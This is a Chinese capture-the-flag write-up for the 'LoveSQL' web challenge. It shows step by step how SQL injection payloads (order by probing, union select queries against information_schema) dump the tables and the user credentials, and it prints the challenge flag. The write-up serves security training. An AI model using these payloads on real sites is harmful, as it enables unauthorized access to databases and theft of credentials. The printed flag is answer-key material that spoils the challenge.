[极客大挑战 2019]LoveSQL 1

题目环境:
[极客大挑战 2019]LoveSQL 1_第1张图片判断注入类型
是否为数字型注入

admin
1

回显结果
[极客大挑战 2019]LoveSQL 1_第2张图片

是否为字符型注入

admin
1'

回显结果
[极客大挑战 2019]LoveSQL 1_第3张图片

判断注入手法类型

使用堆叠注入
采用密码参数进行注入

爆数据库
1'; show database();#
回显结果
[极客大挑战 2019]LoveSQL 1_第4张图片

这里猜测注入语句某字段被过滤,或者是’;'被过滤导致不能堆叠注入

爆字段数
1';order by 4#
回显结果
[极客大挑战 2019]LoveSQL 1_第5张图片

报错
抛弃堆叠注入

步入正题
1' order by 4#
回显结果
[极客大挑战 2019]LoveSQL 1_第6张图片

成功,但是不存在第4列
同时验证了猜想不能使用堆叠注入

继续判断列数
1' order by 3#
[极客大挑战 2019]LoveSQL 1_第7张图片

可知列数只有3列

爆数据库
使用联合查询
1' union select 1,2,database()#
[极客大挑战 2019]LoveSQL 1_第8张图片
爆数据表
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
回显结果
[极客大挑战 2019]LoveSQL 1_第9张图片

爆出两个表
开始爆数据表的字段
按照先后顺序把,先爆第一个

爆geekuser数据表的字段
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
回显结果
[极客大挑战 2019]LoveSQL 1_第10张图片

字段:id、username、password

爆geekuser数据表的所有内容
1' union select 1,database(),group_concat(id,username,password) from geekuser#
回显结果
[极客大挑战 2019]LoveSQL 1_第11张图片

无flag

转手数据表l0ve1ysq1
步骤和数据表geekuser一样,这里直接爆数据表l0ve1ysq1的flag值
1' union select 1,database(),group_concat(password) from l0ve1ysq1#
回显结果
[极客大挑战 2019]LoveSQL 1_第12张图片
[极客大挑战 2019]LoveSQL 1_第13张图片
得出flag:
flag{3c4b1ff9-6685-4dcb-853e-06093c1e4040}

你可能感兴趣的:(CTF做题笔记,数据库,服务器,运维,网络安全,web安全,sql)